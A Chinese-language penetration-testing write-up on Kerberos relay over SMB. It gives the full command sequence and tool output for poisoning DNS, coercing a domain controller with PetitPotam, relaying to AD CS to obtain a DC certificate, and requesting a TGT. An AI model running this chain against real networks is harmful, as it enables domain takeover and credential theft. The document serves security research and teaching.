前言
1，基于 SMB 的 Kerberos
fileserver 和服务类 cifs，返回的 SPN 将如下所示：cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAASecMakeSPNEx2 函数调用 API 函数 CredMarshalTargetInfo。此 API 采用 CREDENTIAL_TARGET_INFORMATION 结构中的目标信息列表，使用 Base64 编码对其进行封送，并将其附加到实际 SPN 的末尾。
如果我们注册 DNS 记录fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA ，客户端会向 cifs/fileserver 请求 Kerberos 票证，但会连接到fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA 。
在后台，客户端将调用 CredUnmarshalTargetInfo 来分析封送的目标信息。但是，客户端不考虑未封送的结果。相反，它只是确定封送数据的长度，并从目标 SPN 字符串的末尾删除该部分。因此，当 Kerberos 软件包收到目标名称时，它已还原到原始 SPN。
2，使用Krbrelayx进行krbrelay
我们将使用 krbrelayx 工具来实验这种技术。尽管这个工具最初并不是专门为中继Kerberos身份验证而设计的，但在2022年的更新中，它增加了对这一功能的支持。具体实现是通过DNS进行的，但工具本身已经内置了一个SMB服务器，可以用于支持所有与不受约束的委派攻击相关的Kerberos操作。
这种设计使得krbrelayx不仅能够处理DNS相关的Kerberos中继，还能扩展到其他协议（如SMB），从而为测试和研究提供了更大的灵活性。
首先，如先前所述，我们需要注册恶意记录，并让它指向攻击者的计算机 （172.16.1.146）：
$ dnstool.py -u "INDUS.LOCAL\\user" -p "pass" -r "pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "172.16.1.146" --action add "172.16.1.3" --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully使用任意强制认证技术试域控向我们发起强制身份验证：
$ petitpotam.py -u 'user' -p 'pass' -d INDUS.LOCAL 'pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc03.indus.local通过查看 Wireshark，我们可以观察到以下内容：
恶意 SMB 服务器收到 AP_REQ 消息，指示必要的功能已集成到该工具中。krbrelayx 使我们能够轻松地将 DNS Kerberos 服务器中的几行代码合并到 SMB 服务器中。在实施了 AP_REQ 提取部分后，从 AP_REQ 派生的身份验证数据随后将传递给 ntlmrelayx 支持的各种攻击。对于 HTTP，此过程非常简单，AP_REQ 是 Base64 编码的，并包含在标头中 Authorization: Kerberos base64_AP_REQ
结果如下：
$ krbrelayx.py -t 'http://pki4.indus.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC03$'
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 172.16.1.3
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 172.16.1.3
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 32
[*] Writing PKCS#12 certificate to ./DC03$.pfx
[*] Certificate successfully written to file
[*] Skipping user DC03$ since attack was already performed然后，可以使用生成的 PFX 向 DC 请求 TGT：
$ gettgtpkinit.py -cert-pfx 'DC03$.pfx' 'INDUS.LOCAL/DC03$' DC03.ccache
INFO:Loading certificate and key from file
INFO:Requesting TGT
INFO:AS-REP encryption key (you might need this later):
INFO:5aed9cb3f2f7af161efe2d43119e87a2dade54bed6bd4602d82051ecbac549a1
INFO:Saved TGT to file